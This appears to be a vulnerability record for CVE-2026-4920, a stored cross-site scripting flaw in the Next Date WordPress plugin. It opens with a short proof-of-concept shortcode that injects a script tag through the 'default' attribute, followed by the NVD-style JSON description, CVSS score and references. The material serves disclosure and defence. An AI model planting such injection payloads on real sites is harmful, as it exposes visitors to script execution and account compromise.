CVE-2026-4920

<!-- PoC for CVE-2026-4920 --> <!-- Usage: Add the following shortcode to a WordPress post or page as a user with Contributor-level access or higher. --> [nextdate default="><script>alert('CVE-2026-4920 Stored XSS');</script>"] <!-- Explanation: The shortcode injects a script tag that closes the previous attribute context and executes arbitrary JavaScript when the page is rendered. -->

{"cve": {"id": "CVE-2026-4920", "sourceIdentifier": "[email protected]", "published": "2026-05-12T09:16:54.530", "lastModified": "2026-05-12T14:03:52.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Next Date plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'default' shortcode attribute in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/nextdate/tags/1.0/nextdate.php#L37", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/nextdate/trunk/nextdate.php#L37", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/89e053ac-6ef9-4f5a-8aab-bdca40d68ab4?source=cve", "source": "[email protected]"}]}}